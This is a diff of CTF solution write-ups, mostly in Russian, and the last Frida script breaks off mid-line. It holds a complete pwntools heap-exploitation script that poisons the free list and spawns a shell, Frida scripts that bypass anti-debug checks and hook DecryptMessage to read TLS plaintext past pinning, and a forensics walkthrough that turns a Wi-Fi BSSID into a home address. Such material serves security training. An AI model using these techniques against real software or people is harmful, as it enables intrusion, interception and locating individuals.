mul_out + stale_prng = prng + mul_out = (ch + c_mul[i]) & 0xFFFFFFFF + rot = rol32(r14, c_rot[i]) + alu = alu_op_int(rot, stale_prng) + r14 = hash_op_int(stale_mul, alu) + prng = prng_step(prng, c_tw[i]) + r15 = hash_op_int(r15, ch) + + if r14 != target or r15 != target2: + raise RuntimeError("verification failed against firmware targets") + + return flag + + +def main() -> int: + ap = argparse.ArgumentParser(description="Recover flag from firmware.bin.") + ap.add_argument("firmware", nargs="?", default="public/firmware.bin") + ap.add_argument("--prefix", default="caplag{", help="known flag prefix") + ap.add_argument("--suffix", default="}", help="known flag suffix (1 char)") + ap.add_argument("--alphabet", default="0123456789ABCDEF", help="alphabet for middle bytes") + ap.add_argument("--no-format", action="store_true", help="disable prefix/suffix/alphabet constraints") + args = ap.parse_args() + + fw = load_firmware(Path(args.firmware)) + flag = solve( + fw, + prefix=None if args.no_format else args.prefix, + suffix=None if args.no_format else args.suffix, + alphabet=None if args.no_format else args.alphabet, + no_format=args.no_format, + ) + try: + print(flag.decode("ascii")) + except UnicodeDecodeError: + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/Warriors-Pwn/README.md b/Warriors-Pwn/README.md new file mode 100644 index 0000000..6c2daca --- /dev/null +++ b/Warriors-Pwn/README.md @@ -0,0 +1,30 @@ +# Warriors + +Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг? + +## Решение + +1. Открываем бинарь в **IDA/Ghidra** и разбираем команды меню: `spawn`, `sacrifice`, `scout`, `rewind`, `rename`, `invoke_core`. +2. Понимаем модель памяти: `Warrior` хранится в куче, а слоты в таблице держат указатели на эти чанки. +3. Находим уязвимую связку `sacrifice` + `rewind(1)`: после отката в таблице остаётся указатель на уже освобождённый чанк (UAF). +4. Через `scout(slot, -8, 8)` снимаем `encrypted_next` у освобождённого чанка и получаем `heap_cookie`, нужный для корректного `next`. +5. Используем `rename(slot, -16, blob)`, чтобы писать перед `name` и подделать заголовок чанка: + - `checksum = crc32(name)` (4 байта), + - `pad` (4 байта), + - `encrypted_next = target ^ cookie` (8 байт), + - `name` (64 байта). +6. В качестве `target` выбираем `g_bridge` и отравляем free-list через UAF-объект. +7. Делаем два `spawn`: первый снимает обычный элемент из списка, второй даёт контролируемую аллокацию в целевой адрес. +8. Перезаписываем `dispatch` в `g_bridge` адресом `summon_oracle` (например, `b"A"*24 + p64(summon_oracle)`). +9. Вызываем `invoke_core()` и получаем выполнение `summon_oracle`, после чего появился shell. +10. В shell читаем флаг: + +```bash +cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt +``` + +Полный PoC: [exploit.py](exploit.py) + +```bash +python3 exploit.py +``` \ No newline at end of file diff --git a/Warriors-Pwn/exploit.py b/Warriors-Pwn/exploit.py new file mode 100644 index 0000000..5b2df04 --- /dev/null +++ b/Warriors-Pwn/exploit.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +from pwn import * +import os +import re +import zlib + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena") +BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN + +context.binary = ELF(BINARY_PATH, checksec=False) +context.terminal = ["tmux", "splitw", "-h"] + +LEAKED_COOKIE = None + + +def forge_warrior(data, next_ptr): + """ + Build raw bytes for overwrite at (name-16) region: + [checksum|pad|encrypted_next|name(64)] + """ + global LEAKED_COOKIE + if LEAKED_COOKIE is None: + raise ValueError("Cookie is not leaked yet") + + name = data.ljust(64, b"\x00")[:64] + checksum = zlib.crc32(name) & 0xFFFFFFFF + encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF + + return p32(checksum) + p32(0) + p64(encrypted_next) + name + + +def start(): + if args.REMOTE: + host = args.HOST if args.HOST else "127.0.0.1" + port = int(args.PORT) if args.PORT else 1337 + return remote(host, port) + + if args.GDB: + return gdb.debug([BINARY_PATH], gdbscript="continue") + + return process([BINARY_PATH]) + + +class GameInteraction: + def __init__(self, tube): + self.io = tube + + def _choose(self, idx): + self.io.sendlineafter(b"Chronos> ", str(idx).encode()) + + def spawn(self, name): + self._choose(1) + self.io.sendlineafter(b"Warrior name: ", name) + line = self.io.recvline().decode(errors="ignore").strip() + m = re.search(r"Slot\s+(\d+)\s+awakened", line) + if not m: + raise RuntimeError(f"Unexpected spawn output: {line}") + return int(m.group(1)) + + def sacrifice(self, slot): + self._choose(2) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.recvline() + + def rename(self, slot, shift, blob): + self._choose(5) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode()) + self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode()) + self.io.sendafter(b"Raw inscription bytes: ", blob) + self.io.send(b"\n") + self.io.recvline() + + def scout(self, slot, shift, length): + self._choose(3) + self.io.sendlineafter(b"Choose slot: ", str(slot).encode()) + self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode()) + self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode()) + + self.io.recvuntil(b"Vision: ") + hex_line = self.io.recvline().strip().decode() + leaked = bytes.fromhex(hex_line) + return leaked + + def rewind(self, anchor): + self._choose(4) + self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode()) + self.io.recvline() + + def invoke_core(self): + self._choose(6) + + +def main(): + global LEAKED_COOKIE + + elf = context.binary + io = start() + game = GameInteraction(io) + + target = elf.symbols["g_bridge"] + oracle = elf.symbols["summon_oracle"] + + log.info("Stage 1: create free chunk and resurrect it via rewind") + s0 = game.spawn(b"alpha") + log.info(f"spawned slot={s0}") + + game.sacrifice(s0) + + game.rewind(1) + + log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout") + leak = game.scout(s0, -8, 8) + LEAKED_COOKIE = u64(leak.ljust(8, b"\x00")) + log.success(f"cookie = {hex(LEAKED_COOKIE)}") + + log.info("Stage 3: forge warrior header and poison free list") + forged = forge_warrior(b"time-smith", target) + game.rename(s0, -16, forged) + + s1 = game.spawn(b"reclaim-1") + log.info(f"reclaim spawn slot={s1}") + + s2 = game.spawn(b"bridge") + log.info(f"poisoned spawn slot={s2}") + + log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation") + payload = b"A" * 24 + p64(oracle) + game.rename(s2, 0, payload) + + log.info("Stage 5: invoke dispatch and get shell") + game.invoke_core() + + if args.INTERACTIVE: + io.interactive() + return + + io.sendline(b"id") + io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt") + io.sendline(b"exit") + print(io.recvrepeat(1.0).decode(errors="ignore")) + + +if __name__ == "__main__": + main() diff --git a/WitheredFlower-forensic/README.md b/WitheredFlower-forensic/README.md new file mode 100644 index 0000000..89c7a9a --- /dev/null +++ b/WitheredFlower-forensic/README.md @@ -0,0 +1,247 @@ +# WitheredFlower Forensic + +На входе нам дается `evidence.zip`, внутри которого расположены: `backup.ab` и папка `Logs`. + + +## Подготовка + +Извлекаем `backup.ab` через `abe.jar` (его скачиваем с интернета) + +После этого основные пути: +- логи: `.\Logs\...` +- данные приложений: `.\ab_extracted\...` + +### Таск 1. BRAND / MODEL / BUILD_ID + +1. Открываем `Logs/ADBReport/device_info.txt`. +2. Поиск по файлу: + - `ro.product.manufacturer` + - `ro.product.model` +3. Открываем `Logs/DumpSysReport/package.txt`. +4. Поиск по файлу: `buildFingerprint=`. +5. Из `buildFingerprint` берём `BUILD_ID` (часть вида `BP2A...`). + +Флаг: `caplag{SAMSUNG/SM-A346E/BP2A.250605.031.A3}` + +### Таск 2. Время последней загрузки + Realtime + +1. Открываем `Logs/DumpSysReport/meminfo.txt`, в первой строке видим: `Realtime: 479801602` ms +2. Открываем `Logs/DumpSysReport/sensorservice.txt`, берём: + - `Captured at: 04:00:17.895` + - дату из строк `wall=02-10 ...` (месяц-день) +3. Год берём из системных логов с ISO-датой (например, `Logs/ADBReport/device_state.txt`), здесь это `2026`. +4. Считаем в Python: + +```python +from datetime import datetime, timedelta + +capture = datetime.fromisoformat("2026-02-10 04:00:17.895") +realtime_ms = 479_801_602 +realtime_sec = realtime_ms // 1000 + +boot_raw = capture - timedelta(seconds=realtime_sec) +boot_rounded = (boot_raw + timedelta(milliseconds=500)).replace(microsecond=0) + +days = realtime_sec // 86400 +rem = realtime_sec % 86400 +hours = rem // 3600 +minutes = (rem % 3600) // 60 +seconds = rem % 60 + +print("boot_raw:", boot_raw) +print("boot_rounded:", boot_rounded.strftime("%Y-%m-%d %H:%M:%S")) +print("realtime_DDHHMMSS:", f"{days:02d}:{hours:02d}:{minutes:02d}:{seconds:02d}") +``` + +Получаем: +- `boot_rounded = 2026-02-04 14:43:37` +- `realtime_DDHHMMSS = 05:13:16:41` + +Флаг: `caplag{2026-02-04/14:43:37_05:13:16:41}` + +## Таск 3. Самый большой файл в Download + SHA-256 + +1. Открываем папку `ab_extracted/shared/0/Download`. +2. Сортируем файлы по размеру по убыванию. +3. Самый большой файл: `Telegram.apk`. +4. Считаем SHA-256 вручную через 7-Zip: + - `7-Zip -> CRC SHA -> SHA-256` + - копируем значение + +Флаг: `caplag{4d3400b9330b2a7d93683fd03ddda41aa144c65f74eb27e3a1786b21397ec7d1}` + +## Таск 4. Самый ранний Wi-Fi BSSID + адрес + +1. Открываем `Logs/DumpSysReport/wifi.txt`. +2. Видим, что чаще всего встречается BSSID 00:1C:10:BC:B4:03, он и есть самый ранний +3. Открываем сайт 3wifi.dev, вбиваем в поиск этот MAC адрес, находим коорды 38.939159, -77.163895 +4. По картам находим адрес дома (1305 BALLANTRAE FARM DRIVE MC LEAN VA 22101) + +Флаг: `caplag{00:1C:10:BC:B4:03_1305BALLANTRAEFARMDRIVEMCLEANVA22101}` + +## Таск 5. Год постройки, стоимость земли на 2017 год, площадь бассейна в sq ft. + +По описанию таска нам нужно найти информацию о соседнем доме с таким же номером, 1305 Ballantrae Ct, McLean, VA 22101 + +1. Открываем поиск по адресу на сайте https://icare.fairfaxcounty.gov/ffxcare/search/commonsearch.aspx?mode=address +2. Вбиваем все данные, получаем pdf документ со всей информацией о доме. +3. В PDF находим данны о стоимости, площади бассейна и т.д. + +Флаг: `caplag{1965_887000_720}` + +## Таск 6. Package name + device name + +1. Открываем `Logs/ADBReport/packages_thirdparty.txt`, ищем `projectflower`: + - получаем package name: `com.projectflower.agency` +2. Открываем `Logs/DumpSysReport/wifi.txt`, ищем `wifi_p2p_device_name`: + - получаем device name: `a-272-8` + +Флаг: `caplag{com.projectflower.agency_a-272-8}` + +## Таск 7. Время первой установки ProjectFlower + +1. Подтверждаем `appId` для нужного пакета: + + - `Logs/DumpSysReport/package.txt` + - по поиску `Package [com.projectflower.agency]` и `appId=10336` +2. Открываем `Logs/ADBReport/device_state.txt`, ищем `Package add: uid=10336`. +3. Среди найденных строк выбираем самое раннее время по timestamp в начале строки. + +Самый ранний timestamp: `2026-02-10T02:50:38.948756`. + +Формат: `2026-02-10/02:50:38` + +Флаг: `caplag{2026-02-10/02:50:38}` + +## Таск 8. Основной sync endpoint + +1. Идём в `ab_extracted/apps/com.projectflower.agency/a/`. +2. Открываем `base.apk` архиватором (или копируем как `base.zip` и распаковываем). +3. Читаем файл `assets/protocol/kappa.cfg`. + +Берём: + +- `endpoint_primary=wss://relay-core.projectflower.agency/sync` +- `port_primary=443` + +Флаг: `caplag{wss://relay-core.projectflower.agency/sync:443}` + +## Таск 9. PIN + SecretCode агента T-4A1KD + +### PIN + +1. Открываем `.\ab_extracted\apps\com.projectflower.agency\a\base.apk` в jadx-gui. +2. Переходим в класс `com.projectflower.agency.security.PinManager` (или делаем поиск по строке `pin_hash` и открываем класс-обработчик PIN). +3. Открываем метод `initializeDefaultsIfMissing` и/или `hashPin`. +4. В `initializeDefaultsIfMissing` видно, какое 6-значное значение передаётся как дефолтный PIN при инициализации. +5. В `hashPin` подтверждаем алгоритм: `PBKDF2WithHmacSHA256`, `12000` раундов. +6. Проверочный state лежит в `.\ab_extracted\apps\com.projectflower.agency\sp\pf_secure_state.xml` + (`pin_salt`, `pin_hash`), что совпадает с логикой из кода. +7. Из кода получаем PIN: `473029`. + +### SecretCode + +1. Открываем `.\ab_extracted\apps\com.projectflower.agency\db\flowerline.db` в DB Browser for SQLite. +2. Выполняем SQL: + +```sql +SELECT id, keyPartA, keyPartB FROM chat_threads; +SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1; +``` + +3. Для найденного `chatId` собираем материал ключа: + - `key_material = keyPartA + "::" + keyPartB + "::orchid/signal/v4"` +4. Расшифровываем `bodyCipher` (AES-GCM, nonce = `iv`, AAD пустой) и получаем plaintext. + +```python +import base64, hashlib, sqlite3 +from pathlib import Path +from cryptography.hazmat.primitives.ciphers.aead import AESGCM + +db = Path(r".\ab_extracted\apps\com.projectflower.agency\db\flowerline.db") +con = sqlite3.connect(db) +con.row_factory = sqlite3.Row +cur = con.cursor() + +cur.execute("SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1 LIMIT 1") +msg = cur.fetchone() + +cur.execute("SELECT keyPartA, keyPartB FROM chat_threads WHERE id=?", (msg["chatId"],)) +thr = cur.fetchone() + +key_material = f'{thr["keyPartA"]}::{thr["keyPartB"]}::orchid/signal/v4' +key = hashlib.sha256(key_material.encode()).digest() +pt = AESGCM(key).decrypt(base64.b64decode(msg["iv"]), base64.b64decode(msg["bodyCipher"]), None) +print(pt.decode()) +``` + +Получаем: `Code: 19XQF` + +Флаг: `caplag{473029_19XQF}` + +## Таск 10. Восстановление удалённого сообщения + SHA-256 + +1. В DB Browser находим удалённое сообщение через ссылку `tombstoneRef`: + +```sql +SELECT id, chatId, senderId, tombstoneRef +FROM messages +WHERE senderId='Petal' AND tombstoneRef IS NOT NULL; +``` + +2. По найденному `tombstoneRef` достаём шифртекст: + +```sql +SELECT id, messageId, cipherText, iv +FROM tombstones +WHERE id = ''; +``` + +3. Достаём параметры для ключа: + - `fragment` из `.\apk_unpack\assets\protocol\kappa.cfg` + - `cursor_seed` из `.\ab_extracted\apps\com.projectflower.agency\sp\pf_ops_seed.xml` + +4. Формируем ключ: + - `key = SHA256("PLF-omega-" + fragment + "kappa-19" + seed[:8])` + +5. Расшифровываем AES-GCM (`cipherText`, `iv`, AAD пустой), получаем строку формата: + - `messageId|chatId|original_body` +6. Считаем SHA-256 только от `original_body`. + + +```python +import base64, hashlib, re, sqlite3 +from pathlib import Path +from zipfile import ZipFile +from cryptography.hazmat.primitives.ciphers.aead import AESGCM + +base = Path(r".") +db = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "db" / "flowerline.db" +seed_xml = (base / "ab_extracted" / "apps" / "com.projectflower.agency" / "sp" / "pf_ops_seed.xml").read_text(encoding="utf-8") +cfg_path = base / "apk_unpack" / "assets" / "protocol" / "kappa.cfg" + +if cfg_path.exists(): + cfg = cfg_path.read_text(encoding="utf-8") +else: + apk = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "a" / "base.apk" + with ZipFile(apk, "r") as z: + cfg = z.read("assets/protocol/kappa.cfg").decode("utf-8") + +seed = re.search(r'([^<]+)', seed_xml).group(1) +fragment = re.search(r"^fragment=(.+)$", cfg, re.M).group(1).strip() + +con = sqlite3.connect(db) +con.row_factory = sqlite3.Row +cur = con.cursor() +cur.execute("SELECT tombstoneRef FROM messages WHERE senderId='Petal' AND tombstoneRef IS NOT NULL ORDER BY createdAt LIMIT 1") +ref = cur.fetchone()["tombstoneRef"] +cur.execute("SELECT cipherText, iv FROM tombstones WHERE id=?", (ref,)) +t = cur.fetchone() + +key = hashlib.sha256(f"PLF-omega-{fragment}kappa-19{seed[:8]}".encode()).digest() +pt = AESGCM(key).decrypt(base64.b64decode(t["iv"]), base64.b64decode(t["cipherText"]), None).decode() +original_body = pt.split("|", 2)[2] +print(hashlib.sha256(original_body.encode()).hexdigest()) +``` + +Флаг: `caplag{8eddf96d2de82df880e42163a792338c067b65f07ab1d167f9ffec9fe12ceaea}` diff --git a/tesseract-reverse/README.md b/tesseract-reverse/README.md new file mode 100644 index 0000000..5752557 --- /dev/null +++ b/tesseract-reverse/README.md @@ -0,0 +1,162 @@ +# Tesseract + +Забудьте про статику: истина доступна только в динамике. + +## Решение + +Подсказка в задании сразу задает направление: **"забудь про статику, смотри на динамику"**. + +![Интерфейс задания](image.png) + +![Подсказка](image-1.png) + +Первым делом загружаем сэмпл в **Detect It Easy**. Видим **VMProtect**, anti-debug. Т.к. это *.NET*, открываем в **DnSpy**, понимаем что смылсла в статике нет. Везде сильная обфускация, Control-Flow + Сильная анти-дебаг защита. Поэтому лучше смотреть, что происходит во время работы программы: какие строки появляются в памяти и через какие WinAPI проходят данные. + +Ниже разберем решение пошагово, тем же путем, которым обычно идет участник. + +## Что понадобится + +- `frida` и `frida-tools` на Windows. +- PowerShell +- Process Hacker / Process Explorer - посмотреть TCP-соединения. +- WinAPI Monitor - понять, какие WinAPI реально вызываются (SSPI/Schannel, Winsock и т.п.). + +Готовые скрипты решения: + +- стадия 1 (получение пароля): `stage_1_findpassword.js` +- стадия 2 (получение флага): `stage_2_decryptmessage.js` + +## Что видно при запуске + +После старта видим простое окно: + +![Окно программы](image-2.png) + +- поле ввода +- кнопка `Check` +- подпись `status:` + +Если вводить случайные строки и нажимать `Check`, появляется сообщение **`Invalid Password`**. + +Из этого делаем два практических вывода: + +1. внутри есть сравнение с правильным паролем; +2. правильная строка где-то в процессе все-таки появляется, хотя бы на короткое время. + +## Стадия 1: достаем пароль динамически + +### Почему не `strings` и не статический реверс + +Если мы запустим программу, укажем любой пароль и посмотрим какие строки лежат в памяти процесса, то ничего полезного не увидем. Сам верный пароль может лежать в памяти, но не долго. + +В задачах такого типа пароль часто: + +- вычисляется на лету; +- расшифровывается в память на долю секунды; +- сразу затирается; +- скрывается за виртуализацией/обфускацией. + +Поэтому здесь быстрее работать через рантайм. + +### Идея + +Мы не знаем пароль, но знаем строку, которая точно рисуется на экране: `Invalid Password`. + +План такой: + +1. поймать момент, когда приложение рисует `Invalid Password`; +2. получить указатель на эту строку; +3. найти memory range, где лежит этот указатель; +4. просканировать соседнюю область памяти на строки-кандидаты; +5. выбрать наиболее похожую на пароль. + +В этом таске строка рисуется через `user32!DrawTextExW`, поэтому это удобная точка для хука. + +### Как автоматизировать клики + +Чтобы не нажимать кнопку вручную, скрипт: + +- находит `EDIT` и кнопку `Check`; +- шлет `WM_SETTEXT` в поле; +- шлет `BM_CLICK` в кнопку; +- повторяет это циклом. + +Поиск контролов сделан через `EnumWindows` и `EnumChildWindows`. + +### Что делает `stage_1_findpassword.js` + +По сути в нем четыре шага: + +1. Минимально отключает антидебаг (`IsDebuggerPresent`, `CheckRemoteDebuggerPresent`). +2. Автоматически гоняет ввод и нажатие `Check`. +3. Хукает `DrawTextExW` и ловит вызов с текстом `Invalid Password`. +4. От найденного адреса сканирует память, собирает строки-кандидаты и ранжирует их по простым эвристикам. + +![Результат первой стадии](image-3.png) + +в выводе видно что-то такое: + +``` +[CAND 1] ... VMP_Is_Watching_Y0u +[+] BEST GUESS: VMP_Is_Watching_Y0u +``` + +Эту строку и вводим в GUI как пароль. + +### Запуск стадии 1 + +```powershell +frida -f .\tesseract.exe -l .\stage_1_findpassword.js --runtime=v8 +``` + +Дальше ждем строку `BEST GUESS`. + +## Стадия 2: достаем флаг при TLS и pinning + +![Сетевое поведение](image-4.png) + +После ввода верного пароля ничего не происходит, происходит авторизация и все. Запустим proc hacker и видим, что после ввода пароля приложение создает какое-то подключение. Так же это видно через API Monitor + +Интуитивный вариант - снять трафик в Wireshark/Burp/mitmproxy - здесь не помогает: + +- трафик зашифрован TLS; +- pinning ломает MITM даже с подставленным сертификатом. + +### Идея + +Смотрим не в сеть, а в процесс. Любой TLS-клиент внутри себя в какой-то момент получает уже расшифрованные данные. + +В Windows это обычно связка SSPI/Schannel. В API Monitor это видно по вызовам: + +- `InitializeSecurityContextW` (handshake); +- `DecryptMessage` (расшифровка прикладных данных). + +![Следы Schannel в API Monitor](image-5.png) + +Значит, хукаем `DecryptMessage`, и после вызова читаем буферы `SECBUFFER_DATA`. Там лежит plaintext, который приложение уже расшифровало для себя. + +Так мы обходим pinning без MITM: просто забираем готовые данные из памяти процесса. + +### Что делает `stage_2_decryptmessage.js` + +Скрипт: + +1. при необходимости гасит базовые антидебаг-проверки; +2. ждет загрузку `secur32.dll` / `sspicli.dll`; +3. ставит хук на `DecryptMessage`; +4. на `onLeave` парсит `SecBufferDesc` и связанные `SecBuffer`; +5. читает все буферы типа `SECBUFFER_DATA` и печатает расшифрованный текст. + +![Результат второй стадии](image-6.png) + +В выводе получаем флаг: + +``` +[+] FLAG: caplag{D0uble_H00k_And_Tim3_Warp_Cr4ck} +``` + +### Запуск стадии 2 + +```powershell +frida -f .\tesseract.exe -l .\stage_2_decryptmessage.js --runtime=v8 +``` diff --git a/tesseract-reverse/image-1.png b/tesseract-reverse/image-1.png new file mode 100644 index 0000000..76f8fb5 Binary files /dev/null and b/tesseract-reverse/image-1.png differ diff --git a/tesseract-reverse/image-2.png b/tesseract-reverse/image-2.png new file mode 100644 index 0000000..1ceb737 Binary files /dev/null and b/tesseract-reverse/image-2.png differ diff --git a/tesseract-reverse/image-3.png b/tesseract-reverse/image-3.png new file mode 100644 index 0000000..e925915 Binary files /dev/null and b/tesseract-reverse/image-3.png differ diff --git a/tesseract-reverse/image-4.png b/tesseract-reverse/image-4.png new file mode 100644 index 0000000..61e6767 Binary files /dev/null and b/tesseract-reverse/image-4.png differ diff --git a/tesseract-reverse/image-5.png b/tesseract-reverse/image-5.png new file mode 100644 index 0000000..3b7050d Binary files /dev/null and b/tesseract-reverse/image-5.png differ diff --git a/tesseract-reverse/image-6.png b/tesseract-reverse/image-6.png new file mode 100644 index 0000000..097b94d Binary files /dev/null and b/tesseract-reverse/image-6.png differ diff --git a/tesseract-reverse/image.png b/tesseract-reverse/image.png new file mode 100644 index 0000000..2ff9e46 Binary files /dev/null and b/tesseract-reverse/image.png differ diff --git a/tesseract-reverse/stage_1_findpassword.js b/tesseract-reverse/stage_1_findpassword.js new file mode 100644 index 0000000..27170fc --- /dev/null +++ b/tesseract-reverse/stage_1_findpassword.js @@ -0,0 +1,351 @@ +console.log('[*] solve.js: anchor-based heap extractor loaded'); + +function getExport(mod, name) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + return m.getExportByName(name); + } catch (_) { + return null; + } +} + +function safeReadUtf16(p, maxChars) { + if (p.isNull()) return null; + try { + if (maxChars !== undefined) return p.readUtf16String(maxChars); + return p.readUtf16String(); + } catch (_) { + return null; + } +} + +function isPrintableAscii(c) { + return c >= 0x20 && c <= 0x7e; +} + +function readUtf16Around(addr, maxChars) { + + var p = addr; + try { + for (var i = 0; i < 128; i++) { + var prev = p.sub(2).readU16(); + if (prev === 0) break; + if (!isPrintableAscii(prev)) break; + p = p.sub(2); + } + } catch (_) {} + + var s = safeReadUtf16(p, maxChars || 96); + return { base: p, str: s }; +} + +function analyzeString(s) { + var hasU = false; + var hasL = false; + var hasD = false; + var underscores = 0; + for (var i = 0; i < s.length; i++) { + var ch = s.charCodeAt(i); + if (ch === 0x5f) underscores++; + if (ch >= 0x41 && ch <= 0x5a) hasU = true; + else if (ch >= 0x61 && ch <= 0x7a) hasL = true; + else if (ch >= 0x30 && ch <= 0x39) hasD = true; + } + var segs = s.split('_').length; + return { hasU: hasU, hasL: hasL, hasD: hasD, underscores: underscores, segs: segs }; +} + +function looksKeyLike(s) { + if (!s) return false; + if (s.length < 8 || s.length > 64) return false; + + // Filter obvious noise. + if (s.indexOf('=') !== -1) return false; + if (s.indexOf('\\') !== -1) return false; + if (s.indexOf(':') !== -1) return false; + if (s.indexOf('.') !== -1) return false; + if (s.indexOf(' ') !== -1) return false; + + + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + if (!isPrintableAscii(c)) return false; + } + + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + var ok = + (c >= 0x30 && c <= 0x39) || + (c >= 0x41 && c <= 0x5a) || + (c >= 0x61 && c <= 0x7a) || + c === 0x5f; + if (!ok) return false; + } + + if (s.indexOf('_') === -1) return false; + + var a = analyzeString(s); + if (!(a.hasU && a.hasL)) return false; + + return true; +} + +function scoreCandidate(s) { + var a = analyzeString(s); + var score = 0; + + if (s.length >= 12 && s.length <= 32) score += 50; + score += Math.max(0, 40 - Math.abs(s.length - 20)); + + if (a.segs >= 3 && a.segs <= 5) score += 30; + else score -= Math.abs(a.segs - 4) * 5; + + + if (a.hasD) score += 10; + score += a.underscores * 2; + + return score; +} + +function absPtrDelta(a, b) { + try { + var d = a.sub(b).toInt32(); + if (d < 0) d = -d; + return d; + } catch (_) { + return 0x7fffffff; + } +} + +function installAntiAntiDebug() { + function hookRet0(mod, name) { + var addr = getExport(mod, name); + if (!addr) return; + try { + Interceptor.replace( + addr, + new NativeCallback(function () { + return 0; + }, 'int', []) + ); + console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> 0'); + } catch (_) {} + } + + function hookCheckRemoteDebuggerPresent() { + var mod = 'kernel32.dll'; + var name = 'CheckRemoteDebuggerPresent'; + var addr = getExport(mod, name); + if (!addr) return; + try { + Interceptor.replace( + addr, + new NativeCallback(function (hProcess, pbDebuggerPresent) { + try { + if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); + } catch (_) {} + return 1; + }, 'int', ['pointer', 'pointer']) + ); + console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> TRUE, out=0'); + } catch (_) {} + } + + hookRet0('kernel32.dll', 'IsDebuggerPresent'); + hookCheckRemoteDebuggerPresent(); +} + +function automateUi() { + var user32 = 'user32.dll'; + var pEnumWindows = getExport(user32, 'EnumWindows'); + var pEnumChildWindows = getExport(user32, 'EnumChildWindows'); + var pGetWindowThreadProcessId = getExport(user32, 'GetWindowThreadProcessId'); + var pGetWindowTextW = getExport(user32, 'GetWindowTextW'); + var pGetClassNameW = getExport(user32, 'GetClassNameW'); + var pSendMessageW = getExport(user32, 'SendMessageW'); + + if (!pEnumWindows || !pEnumChildWindows || !pGetWindowThreadProcessId || !pGetWindowTextW || !pGetClassNameW || !pSendMessageW) { + return; + } + + var EnumWindows = new NativeFunction(pEnumWindows, 'int', ['pointer', 'pointer']); + var EnumChildWindows = new NativeFunction(pEnumChildWindows, 'int', ['pointer', 'pointer', 'pointer']); + var GetWindowThreadProcessId = new NativeFunction(pGetWindowThreadProcessId, 'uint', ['pointer', 'pointer']); + var GetWindowTextW = new NativeFunction(pGetWindowTextW, 'int', ['pointer', 'pointer', 'int']); + var GetClassNameW = new NativeFunction(pGetClassNameW, 'int', ['pointer', 'pointer', 'int']); + var SendMessageW = new NativeFunction(pSendMessageW, 'pointer', ['pointer', 'uint', 'pointer', 'pointer']); + + var pidBuf = Memory.alloc(4); + + function getText(hwnd) { + var buf = Memory.alloc(2 * 512); + buf.writeU16(0); + var n = GetWindowTextW(hwnd, buf, 512); + if (n <= 0) return ''; + return safeReadUtf16(buf, 512) || ''; + } + + function getClass(hwnd) { + var buf = Memory.alloc(2 * 256); + buf.writeU16(0); + var n = GetClassNameW(hwnd, buf, 256); + if (n <= 0) return ''; + return safeReadUtf16(buf, 256) || ''; + } + + function findMainWindow() { + var best = NULL; + var cb = new NativeCallback(function (hwnd, lParam) { + pidBuf.writeU32(0); + GetWindowThreadProcessId(hwnd, pidBuf); + var pid = pidBuf.readU32(); + if (pid !== Process.id) return 1; + + var title = getText(hwnd); + if (best.isNull()) best = hwnd; + if (title.indexOf('Tesseract') !== -1) { + best = hwnd; + return 0; + } + return 1; + }, 'int', ['pointer', 'pointer']); + + EnumWindows(cb, ptr(0)); + return best; + } + + function findControls() { + var hwnd = findMainWindow(); + if (hwnd.isNull()) return null; + + var btn = NULL; + var edit = NULL; + + var cb = new NativeCallback(function (child, lParam) { + var txt = getText(child); + var cls = getClass(child); + if (btn.isNull() && txt === 'Check') btn = child; + if (edit.isNull() && cls.indexOf('EDIT') !== -1) edit = child; + return 1; + }, 'int', ['pointer', 'pointer']); + + EnumChildWindows(hwnd, cb, ptr(0)); + return { hwnd: hwnd, btn: btn, edit: edit }; + } + + var WM_SETTEXT = 0x000c; + var BM_CLICK = 0x00f5; + + var cached = null; + setInterval(function () { + try { + if (!cached || cached.btn.isNull() || cached.edit.isNull()) { + cached = findControls(); + if (!cached) return; + console.log('[*] UI: hwnd=' + cached.hwnd + ' edit=' + cached.edit + ' btn=' + cached.btn); + if (cached.btn.isNull() || cached.edit.isNull()) return; + } + + var input = Memory.allocUtf16String('a'); + SendMessageW(cached.edit, WM_SETTEXT, ptr(0), input); + SendMessageW(cached.btn, BM_CLICK, ptr(0), ptr(0)); + } catch (_) {} + }, 300); +} + +var dumped = false; +function dumpCandidatesAround(anchorPtr) { + if (dumped) return; + dumped = true; + + console.log('[*] anchor ptr=' + anchorPtr); + var r = Process.findRangeByAddress(anchorPtr); + if (!r) { + console.log('[!] findRangeByAddress failed'); + return; + } + + var radius = 0x100000; + var lo = r.base; + var hi = r.base.add(r.size); + + var start = anchorPtr.sub(radius); + if (start.compare(lo) < 0) start = lo; + + var end = anchorPtr.add(radius); + if (end.compare(hi) > 0) end = hi; + + var size = end.sub(start).toInt32(); + console.log('[*] scan window base=' + start + ' size=' + size + ' (range base=' + r.base + ' size=' + r.size + ')'); + + var needle = '5F 00'; + var seen = {}; + var cands = []; + + Memory.scan(start, 